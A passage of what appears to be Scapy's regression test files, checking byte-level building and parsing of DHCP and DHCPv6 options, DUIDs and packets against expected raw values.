b'E\x00\x01=\x00\x01\x00\x00@\x11{\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00C\x00D\x01)\xa1\x01\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x82Sc\x02\x04\x00\x00\x00{b\x0fwww.example.comp\x04\n\x00\x00\x01$\x01\x02\x16\x02\x00x\xd2\n/some/path\xff' s4 = raw(IP(src="127.0.0.1")/UDP()/BOOTP(chaddr="00:01:02:03:04:05")/DHCP(options=[("mud-url", "https://example.org"), ("captive-portal", "https://example.com"), ("ipv6-only-preferred", 0xffffffff), "end"])) assert s4 == b'E\x00\x01=\x00\x01\x00\x00@\x11{\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00C\x00D\x01)\xeai\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x82Sc\xa1\x13https://example.orgr\x13https://example.coml\x04\xff\xff\xff\xff\xff' s5 = raw(IP(src="127.0.0.1")/UDP()/BOOTP(chaddr="00:01:02:03:04:05")/DHCP(options=[("classless_static_routes", "192.168.123.4/32:10.0.0.1", "169.254.254.0/24:10.0.1.2"), ("rapid_commit", b""), ("forcerenew_nonce_capable", [1, "HMAC-MD5"]), "end"])) assert s5 == b'E\x00\x01&\x00\x01\x00\x00@\x11{\xc4\x7f\x00\x00\x01\x7f\x00\x00\x01\x00C\x00D\x01\x12D\xf6\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x82Scy\x11 \xc0\xa8{\x04\n\x00\x00\x01\x18\xa9\xfe\xfe\n\x00\x01\x02P\x00\x91\x02\x01\x01\xff' = DHCP - fuzz pkt = fuzz(DHCP()) assert isinstance(pkt.options, RandDHCPOptions) pkt.show() pkt = DHCP(bytes(pkt)) pkt.show() = DHCP - dissection p = IP(s) assert DHCP in p and p[DHCP].options[0] == ('message-type', 1) p2 = IP(s2) assert DHCP in p2 assert p2[DHCP].options[0] == ("param_req_list",[12,57,45,254]) assert p2[DHCP].options[1] == ("requested_addr", "192.168.0.1") p3 = IP(s3) assert DHCP in p3 assert p3[DHCP].options[0] == ("time_zone",123) assert p3[DHCP].options[1] == ("uap-servers", b'www.example.com') assert p3[DHCP].options[2] == ("netinfo-server-address", "10.0.0.1") assert p3[DHCP].options[3] == ("ieee802-3-encapsulation", 2) assert p3[DHCP].options[4] == ("max_dgram_reass_size", 120) assert p3[DHCP].options[5] == ("pxelinux_path_prefix", b'/some/path') assert p3[DHCP].options[6] == "end" p4 = IP(s4) assert DHCP in p4 assert p4[DHCP].options[0] == ("mud-url", b"https://example.org") assert p4[DHCP].options[1] == ("captive-portal", b"https://example.com") assert p4[DHCP].options[2] == ("ipv6-only-preferred", 0xffffffff) p5 = IP(s5) assert DHCP in p5 assert p5[DHCP].options[0] == ("classless_static_routes", ["192.168.123.4/32:10.0.0.1", "169.254.254.0/24:10.0.1.2"]) assert p5[DHCP].options[1] == ("rapid_commit", b"") assert p5[DHCP].options[2] == ("forcerenew_nonce_capable", [1, 1]) repr(DHCP(b"\x01\x00")) assert DHCP(b"\x01\x00").options == [b"\x01\x00"] assert DHCP(b"\x28\x00").options == [("NIS_domain", b"")] assert DHCP(b"\x37\x00").options == [("param_req_list", [])] assert DHCP(b"\x50\x00").options == [("rapid_commit", b"")] assert DHCP(b"\x79\x00").options == [("classless_static_routes", [])] assert DHCP(b"\x91\x00").options == [("forcerenew_nonce_capable", [])] assert DHCP(b"\x01\x0C\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b").options == [("subnet_mask", "0.1.2.3", "4.5.6.7", "8.9.10.11")] b = b"\x79\x01\xff" p = DHCP(b) assert p.options == [b] p.clear_cache() assert raw(p) == b b = b"\x79\x0a\x21\x01\x02\x03\x04\x05\x06\x07\x08\x09" p = DHCP(b) assert p.options == [b] p.clear_cache() assert raw(p) == b b = b"\x79\x09\x20\x01\x02\x03\x04\x05\x06\x07\x08\xff" assert DHCP(b).options == [("classless_static_routes", ["1.2.3.4/32:5.6.7.8"]), "end"] = DHCPOptions # Issue #2786 assert DHCPOptions[33].name == "static-routes" assert DHCPOptions[46].name == "NetBIOS_node_type" assert DHCPRevOptions['static-routes'][0] == 33 = Check that the dhcpd alias is properly defined and documented assert dhcpd import IPython result = IPython.lib.pretty.pretty(dhcpd) result # 3 results depending on the Python version assert result in [ '', '', '', '', ] ================================================ FILE: test/scapy/layers/dhcp6.uts ================================================ % DHCPv6 regression tests for Scapy # More information at http://www.secdev.org/projects/UTscapy/ ##################################################################### ##################################################################### ########################## DHCPv6 ########################## ##################################################################### ##################################################################### ############ ############ + Test DHCP6 DUID_LLT = DUID_LLT basic instantiation a=DUID_LLT() = DUID_LLT basic build raw(DUID_LLT()) == b'\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DUID_LLT build with specific values raw(DUID_LLT(lladdr="ff:ff:ff:ff:ff:ff", timeval=0x11111111, hwtype=0x2222)) == b'\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff' = DUID_LLT basic dissection a=DUID_LLT(raw(DUID_LLT())) a.type == 1 and a.hwtype == 1 and a.timeval == 0 and a.lladdr == "00:00:00:00:00:00" = DUID_LLT dissection with specific values a=DUID_LLT(b'\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff') a.type == 1 and a.hwtype == 0x2222 and a.timeval == 0x11111111 and a.lladdr == "ff:ff:ff:ff:ff:ff" ############ ############ + Test DHCP6 DUID_EN = DUID_EN basic instantiation a=DUID_EN() = DUID_EN basic build raw(DUID_EN()) == b'\x00\x02\x00\x00\x017' = DUID_EN build with specific values raw(DUID_EN(enterprisenum=0x11111111, id="iamastring")) == b'\x00\x02\x11\x11\x11\x11iamastring' = DUID_EN basic dissection a=DUID_EN(b'\x00\x02\x00\x00\x017') a.type == 2 and a.enterprisenum == 311 = DUID_EN dissection with specific values a=DUID_EN(b'\x00\x02\x11\x11\x11\x11iamarawing') a.type == 2 and a.enterprisenum == 0x11111111 and a.id == b"iamarawing" ############ ############ + Test DHCP6 DUID_LL = DUID_LL basic instantiation a=DUID_LL() = DUID_LL basic build raw(DUID_LL()) == b'\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DUID_LL build with specific values raw(DUID_LL(hwtype=1, lladdr="ff:ff:ff:ff:ff:ff")) == b'\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff' = DUID_LL basic dissection a=DUID_LL(raw(DUID_LL())) a.type == 3 and a.hwtype == 1 and a.lladdr == "00:00:00:00:00:00" = DUID_LL with specific values a=DUID_LL(b'\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff') a.hwtype == 1 and a.lladdr == "ff:ff:ff:ff:ff:ff" ############ ############ + Test DHCP6 DUID_UUID = DUID_UUID basic instantiation a=DUID_UUID() = DUID_UUID basic build raw(DUID_UUID()) == b"\0\x04\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" = DUID_UUID build with specific values raw(DUID_UUID(uuid="272adcca-138c-4e8d-b3f4-634e953128cf")) == \ b"\x00\x04'*\xdc\xca\x13\x8cN\x8d\xb3\xf4cN\x951(\xcf" = DUID_UUID basic dissection a=DUID_UUID(raw(DUID_UUID())) a.type == 4 and str(a.uuid) == "00000000-0000-0000-0000-000000000000" = DUID_UUID with specific values a=DUID_UUID(b"\x00\x04'*\xdc\xca\x13\x8cN\x8d\xb3\xf4cN\x951(\xcf") a.type == 4 and str(a.uuid) == "272adcca-138c-4e8d-b3f4-634e953128cf" ############ ############ + Test DHCP6 Opt Unknown = DHCP6 Opt Unknown basic instantiation a=DHCP6OptUnknown() = DHCP6 Opt Unknown basic build (default values) raw(DHCP6OptUnknown()) == b'\x00\x00\x00\x00' = DHCP6 Opt Unknown - len computation test raw(DHCP6OptUnknown(data="shouldbe9")) == b'\x00\x00\x00\tshouldbe9' ############ ############ + Test DHCP6 Client Identifier option = DHCP6OptClientId basic instantiation a=DHCP6OptClientId() = DHCP6OptClientId basic build raw(DHCP6OptClientId()) == b'\x00\x01\x00\x00' = DHCP6OptClientId instantiation with specific values raw(DHCP6OptClientId(duid="toto")) == b'\x00\x01\x00\x04toto' = DHCP6OptClientId instantiation with DUID_LL raw(DHCP6OptClientId(duid=DUID_LL())) == b'\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DHCP6OptClientId instantiation with DUID_LLT raw(DHCP6OptClientId(duid=DUID_LLT())) == b'\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptClientId instantiation with DUID_EN raw(DHCP6OptClientId(duid=DUID_EN())) == b'\x00\x01\x00\x06\x00\x02\x00\x00\x017' = DHCP6OptClientId instantiation with specified length raw(DHCP6OptClientId(optlen=80, duid="somestring")) == b'\x00\x01\x00Psomestring' = DHCP6OptClientId basic dissection a=DHCP6OptClientId(b'\x00\x01\x00\x00') a.optcode == 1 and a.optlen == 0 = DHCP6OptClientId instantiation with specified length raw(DHCP6OptClientId(optlen=80, duid="somestring")) == b'\x00\x01\x00Psomestring' = DHCP6OptClientId basic dissection a=DHCP6OptClientId(b'\x00\x01\x00\x00') a.optcode == 1 and a.optlen == 0 = DHCP6OptClientId dissection with specific duid value a=DHCP6OptClientId(b'\x00\x01\x00\x04somerawing') a.optcode == 1 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == b'some' and isinstance(a.payload, DHCP6OptUnknown) = DHCP6OptClientId dissection with specific DUID_LL as duid value a=DHCP6OptClientId(b'\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00') a.optcode == 1 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptClientId dissection with specific DUID_LLT as duid value a=DHCP6OptClientId(b'\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 1 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptClientId dissection with specific DUID_EN as duid value a=DHCP6OptClientId(b'\x00\x01\x00\x06\x00\x02\x00\x00\x017') a.optcode == 1 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == b"" ############ ############ + Test DHCP6 Server Identifier option = DHCP6OptServerId basic instantiation a=DHCP6OptServerId() = DHCP6OptServerId basic build raw(DHCP6OptServerId()) == b'\x00\x02\x00\x00' = DHCP6OptServerId basic build with specific values raw(DHCP6OptServerId(duid="toto")) == b'\x00\x02\x00\x04toto' = DHCP6OptServerId instantiation with DUID_LL raw(DHCP6OptServerId(duid=DUID_LL())) == b'\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00' = DHCP6OptServerId instantiation with DUID_LLT raw(DHCP6OptServerId(duid=DUID_LLT())) == b'\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptServerId instantiation with DUID_EN raw(DHCP6OptServerId(duid=DUID_EN())) == b'\x00\x02\x00\x06\x00\x02\x00\x00\x017' = DHCP6OptServerId instantiation with specified length raw(DHCP6OptServerId(optlen=80, duid="somestring")) == b'\x00\x02\x00Psomestring' = DHCP6OptServerId basic dissection a=DHCP6OptServerId(b'\x00\x02\x00\x00') a.optcode == 2 and a.optlen == 0 = DHCP6OptServerId dissection with specific duid value a=DHCP6OptServerId(b'\x00\x02\x00\x04somerawing') a.optcode == 2 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == b'some' and isinstance(a.payload, DHCP6OptUnknown) = DHCP6OptServerId dissection with specific DUID_LL as duid value a=DHCP6OptServerId(b'\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00') a.optcode == 2 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptServerId dissection with specific DUID_LLT as duid value a=DHCP6OptServerId(b'\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 2 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00" = DHCP6OptServerId dissection with specific DUID_EN as duid value a=DHCP6OptServerId(b'\x00\x02\x00\x06\x00\x02\x00\x00\x017') a.optcode == 2 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == b"" ############ ############ + Test DHCP6 IA Address Option (IA_TA or IA_NA suboption) = DHCP6OptIAAddress - Basic Instantiation raw(DHCP6OptIAAddress()) == b'\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIAAddress - Basic Dissection a = DHCP6OptIAAddress(b'\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 5 and a.optlen == 24 and a.addr == "::" and a.preflft == 0 and a. validlft == 0 and a.iaaddropts == [] = DHCP6OptIAAddress - Instantiation with specific values raw(DHCP6OptIAAddress(optlen=0x1111, addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaaddropts="somestring")) == b'\x00\x05\x11\x11""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomestring' = DHCP6OptIAAddress - Instantiation with specific values (default optlen computation) raw(DHCP6OptIAAddress(addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaaddropts="somestring")) == b'\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomestring' = DHCP6OptIAAddress - Dissection with specific values a = DHCP6OptIAAddress(b'\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomerawing') a.optcode == 5 and a.optlen == 34 and a.addr == "2222:3333::5555" and a.preflft == 0x66666666 and a. validlft == 0x77777777 and a.iaaddropts[0].load == b"somerawing" ############ ############ + Test DHCP6 Identity Association for Non-temporary Addresses Option = DHCP6OptIA_NA - Basic Instantiation raw(DHCP6OptIA_NA()) == b'\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_NA - Basic Dissection a = DHCP6OptIA_NA(b'\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 3 and a.optlen == 12 and a.iaid == 0 and a.T1 == 0 and a.T2==0 and a.ianaopts == [] = DHCP6OptIA_NA - Instantiation with specific values (keep automatic length computation) raw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\x00\x03\x00\x0c""""3333DDDD' = DHCP6OptIA_NA - Instantiation with specific values (forced optlen) raw(DHCP6OptIA_NA(optlen=0x1111, iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\x00\x03\x11\x11""""3333DDDD' = DHCP6OptIA_NA - Instantiation with a list of IA Addresses (optlen automatic computation) raw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444, ianaopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == b'\x00\x03\x00D""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_NA - Dissection with specific values a = DHCP6OptIA_NA(b'\x00\x03\x00L""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 3 and a.optlen == 76 and a.iaid == 0x22222222 and a.T1 == 0x33333333 and a.T2==0x44444444 and len(a.ianaopts) == 2 and isinstance(a.ianaopts[0], DHCP6OptIAAddress) and isinstance(a.ianaopts[1], DHCP6OptIAAddress) = DHCP6OptIA_NA - Instantiation with a list of different opts: IA Address and Status Code (optlen automatic computation) raw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444, ianaopts=[DHCP6OptIAAddress(), DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")])) == b'\x00\x03\x003""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x07\x00\xffHello' ############ ############ + Test DHCP6 Identity Association for Temporary Addresses Option = DHCP6OptIA_TA - Basic Instantiation raw(DHCP6OptIA_TA()) == b'\x00\x04\x00\x04\x00\x00\x00\x00' = DHCP6OptIA_TA - Basic Dissection a = DHCP6OptIA_TA(b'\x00\x04\x00\x04\x00\x00\x00\x00') a.optcode == 4 and a.optlen == 4 and a.iaid == 0 and a.iataopts == [] = DHCP6OptIA_TA - Instantiation with specific values raw(DHCP6OptIA_TA(optlen=0x1111, iaid=0x22222222, iataopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == b'\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_TA - Dissection with specific values a = DHCP6OptIA_TA(b'\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 4 and a.optlen == 0x1111 and a.iaid == 0x22222222 and len(a.iataopts) == 2 and isinstance(a.iataopts[0], DHCP6OptIAAddress) and isinstance(a.iataopts[1], DHCP6OptIAAddress) = DHCP6OptIA_TA - Instantiation with a list of different opts: IA Address and Status Code (optlen automatic computation) raw(DHCP6OptIA_TA(iaid=0x22222222, iataopts=[DHCP6OptIAAddress(), DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")])) == b'\x00\x04\x00+""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x07\x00\xffHello' ############ ############ + Test DHCP6 Option Request Option = DHCP6OptOptReq - Basic Instantiation raw(DHCP6OptOptReq()) == b'\x00\x06\x00\x04\x00\x17\x00\x18' = DHCP6OptOptReq - optlen field computation raw(DHCP6OptOptReq(reqopts=[1,2,3,4])) == b'\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04' = DHCP6OptOptReq - instantiation with empty list raw(DHCP6OptOptReq(reqopts=[])) == b'\x00\x06\x00\x00' = DHCP6OptOptReq - Basic dissection a=DHCP6OptOptReq(b'\x00\x06\x00\x00') a.optcode == 6 and a.optlen == 0 and a.reqopts == [] = DHCP6OptOptReq - Dissection with specific value a=DHCP6OptOptReq(b'\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04') a.optcode == 6 and a.optlen == 8 and a.reqopts == [1,2,3,4] = DHCP6OptOptReq - repr a.show() ############ ############ + Test DHCP6 Option - Preference option = DHCP6OptPref - Basic instantiation raw(DHCP6OptPref()) == b'\x00\x07\x00\x01\xff' = DHCP6OptPref - Instantiation with specific values raw(DHCP6OptPref(optlen=0xffff, prefval= 0x11)) == b'\x00\x07\xff\xff\x11' = DHCP6OptPref - Basic Dissection a=DHCP6OptPref(b'\x00\x07\x00\x01\xff') a.optcode == 7 and a.optlen == 1 and a.prefval == 255 = DHCP6OptPref - Dissection with specific values a=DHCP6OptPref(b'\x00\x07\xff\xff\x11') a.optcode == 7 and a.optlen == 0xffff and a.prefval == 0x11 ############ ############ + Test DHCP6 Option - Elapsed Time = DHCP6OptElapsedTime - Basic Instantiation raw(DHCP6OptElapsedTime()) == b'\x00\x08\x00\x02\x00\x00' = DHCP6OptElapsedTime - Instantiation with specific elapsedtime value raw(DHCP6OptElapsedTime(elapsedtime=421)) == b'\x00\x08\x00\x02\x01\xa5' = DHCP6OptElapsedTime - Basic Dissection a=DHCP6OptElapsedTime(b'\x00\x08\x00\x02\x00\x00') a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 0 = DHCP6OptElapsedTime - Dissection with specific values a=DHCP6OptElapsedTime(b'\x00\x08\x00\x02\x01\xa5') a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 421 = DHCP6OptElapsedTime - Repr a.show() ############ ############ + Test DHCP6 Option - Server Unicast Address = DHCP6OptServerUnicast - Basic Instantiation raw(DHCP6OptServerUnicast()) == b'\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptServerUnicast - Instantiation with specific values (test 1) raw(DHCP6OptServerUnicast(srvaddr="2001::1")) == b'\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptServerUnicast - Instantiation with specific values (test 2) raw(DHCP6OptServerUnicast(srvaddr="2001::1", optlen=42)) == b'\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptServerUnicast - Dissection with default values a=DHCP6OptServerUnicast(b'\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 12 and a.optlen == 16 and a.srvaddr == "::" = DHCP6OptServerUnicast - Dissection with specific values (test 1) a=DHCP6OptServerUnicast(b'\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 12 and a.optlen == 16 and a.srvaddr == "2001::1" = DHCP6OptServerUnicast - Dissection with specific values (test 2) a=DHCP6OptServerUnicast(b'\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 12 and a.optlen == 42 and a.srvaddr == "2001::1" ############ ############ + Test DHCP6 Option - Status Code = DHCP6OptStatusCode - Basic Instantiation raw(DHCP6OptStatusCode()) == b'\x00\r\x00\x02\x00\x00' = DHCP6OptStatusCode - Instantiation with specific values raw(DHCP6OptStatusCode(optlen=42, statuscode=0xff, statusmsg="Hello")) == b'\x00\r\x00*\x00\xffHello' = DHCP6OptStatusCode - Automatic Length computation raw(DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")) == b'\x00\r\x00\x07\x00\xffHello' # Add tests to verify Unicode behavior ############ ############ + Test DHCP6 Option - Rapid Commit = DHCP6OptRapidCommit - Basic Instantiation raw(DHCP6OptRapidCommit()) == b'\x00\x0e\x00\x00' = DHCP6OptRapidCommit - Basic Dissection a=DHCP6OptRapidCommit(b'\x00\x0e\x00\x00') a.optcode == 14 and a.optlen == 0 ############ ############ + Test DHCP6 Option - User class = DHCP6OptUserClass - Basic Instantiation raw(DHCP6OptUserClass()) == b'\x00\x0f\x00\x00' = DHCP6OptUserClass - Basic Dissection a = DHCP6OptUserClass(b'\x00\x0f\x00\x00') a.optcode == 15 and a.optlen == 0 and a.userclassdata == [] = DHCP6OptUserClass - Instantiation with one user class data rawucture raw(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something")])) == b'\x00\x0f\x00\x0b\x00\tsomething' = DHCP6OptUserClass - Dissection with one user class data rawucture a = DHCP6OptUserClass(b'\x00\x0f\x00\x0b\x00\tsomething') a.optcode == 15 and a.optlen == 11 and len(a.userclassdata) == 1 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == b'something' = DHCP6OptUserClass - Instantiation with two user class data rawuctures raw(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something"), USER_CLASS_DATA(data="somethingelse")])) == b'\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse' = DHCP6OptUserClass - Dissection with two user class data rawuctures a = DHCP6OptUserClass(b'\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse') a.optcode == 15 and a.optlen == 26 and len(a.userclassdata) == 2 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and isinstance(a.userclassdata[1], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == b'something' and a.userclassdata[1].len == 13 and a.userclassdata[1].data == b'somethingelse' ############ ############ + Test DHCP6 Option - Vendor class = DHCP6OptVendorClass - Basic Instantiation raw(DHCP6OptVendorClass()) == b'\x00\x10\x00\x04\x00\x00\x00\x00' = 